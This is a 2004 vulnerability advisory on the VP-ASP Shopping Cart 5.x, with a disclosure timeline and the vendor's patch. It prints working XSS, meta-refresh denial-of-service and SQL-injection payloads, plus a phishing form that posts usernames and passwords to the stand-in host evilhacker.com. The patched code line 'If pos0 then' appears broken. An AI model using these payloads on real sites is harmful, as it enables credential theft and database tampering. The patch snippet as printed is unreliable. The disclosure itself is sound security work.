VP-ASP Shopping Cart Multiple Vulnerabilities

Release Date:
June 14, 2004

Severity:
High

Vendor:
Virtual Programming

Software:
VP-ASP Shopping Cart Version 5.x

Remote:
Remotely executable

Vulnerabilities:
Cross Site Scripting
SQL Injection

Technical Details:
Cross Site Scripting Vulnerability was originally found Dec 05, 2003.
http://archives.neohapsis.com/archives/bugtraq/2003-12/0080.html
Vendor Fix for this was to write a subroutine that validated for <script>.

On May 14, 2004 Tom Ryan found the vulnerability was still there and did
further research.
Research showed the application still highly vulnerable to Cross Site
Scripting and Also SQL Injection. The examples below are there to show just
how serious a Cross-Site Scripting Attack can be. It's not just a JavaScript
attacks like many people seem to believe.

Timeline: 
05/14/2004  Vulnerability Found
05/26/2004  Reported to Vendor
06/09/2004  Contacted Vendor Again
06/10/2004  Developed a document for vendor showing block for <script>
doesn't work
06/11/2004  Vendor researching for quick fix for current customers
06/12/2004  Vendor Release vulnerability fix without me testing and no
credit for research
http://secunia.com/advisories/11846/
06/12/2004  Tom Ryan tested VP-ASP Cart and Cart Failed to Validate for
URL-Encoding
06/13/2004  Worked with Virtual Programming to fix all problems.
06/14/2004  Tom Ryan detailed vulnerability release

The application was still vulnerable to URL-Encoding.

Pages Affected
---------------------------
ALL


Examples:

Cross Site Scripting
------------------------
http://[VICTIM]/vpasp/shopdisplayproducts.asp?id=5&cat=<img%20src="javascrip
t:alert('XSS')">
http://[VICTIM]/vpasp/shoperror.asp?msg=<img%20src="javascript:alert('XSS')"
>


Denial of Service
----------------------
http://[VICTIM]/vpasp/shopdisplayproducts.asp?id=5&cat=<meta%20http-equiv='r
efresh'content='0'>
http://[VICTIM]/vpasp/shoperror.asp?msg=<meta%20http-equiv='refresh'content=
'0'>


Parameter Tampering / Phishing Scam
---------------------------------------
http://[VICTIM]/vpasp/shopdisplayproducts.asp?id=5&cat=<form%20action="http:
//www.evilhacker.com/save2db.asp"%20method="post">Username:<input%20name="us
ername"%20type="text"%20maxlength="30"><br>Password:<input%20name="password"
%20type="text"%20maxlength="30"><br><input%20name="login"%20type="submit"%20
value="Login"></form>


SQL Injection
----------------------------------------
POST /vpasp/shopproductselect.asp HTTP/1.0
Referer:
http://[VICTIM]:80/vpasp/shopdisplayproducts.asp?id=6&amp;cat=Groceries
Content-Length: 227
Content-Type: application/x-www-form-urlencoded
Connection: Close
Host: [VICTIM]
User-Agent: Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)
Pragma: no-cache
Cookie: ALT.COOKIE.NAME.2=8P.9.7080.2N2,20.B9N9P954OO4OM4,4;
CustomCookie=TommyRyan

x1Feature1=28&x2Feature1=18&prodindex=3&quantity=1&quantity=1&quantity=1&act
ion.x=5&action.y=5&Processed0=15+AND+'a'>'z'&Processed1=14+AND+'a'>'z'&x2Fea
turevalue1=19%2C+17%2C+18&Processed2=16&x1FeatureValue1=+2+dozen+%5B3.50%5D



Vendor Status:
Vendor released a fix
http://www.vpasp.com/virtprog/info/faq_securityfixes.htm

Replace
--------
Sub CleanseMessage (msg, rc)
dim lmsg, pos
lmsg=lcase(msg)
pos=instr(lmsg, "<script>")
If pos> 0 then
  rc=4
else
  rc=0
end if
end sub


With
-----

Sub CleanseMessage (msg, rc)
dim lmsg, pos
lmsg=lcase(msg)
pos=instr(lmsg, "<script>")
If pos0 then
   rc=4
else
   rc=0
   msg=server.htmlencode(msg)
end if
end sub


Advisory:
http://www.providesecurity.com/research/advisories/06142004-01.asp


Credit:
Discovered By: Thomas Ryan
Provide Security

Patched By: Howard Kadetz
Viirtual Programming


Copyright (c) 2004 Provide Security
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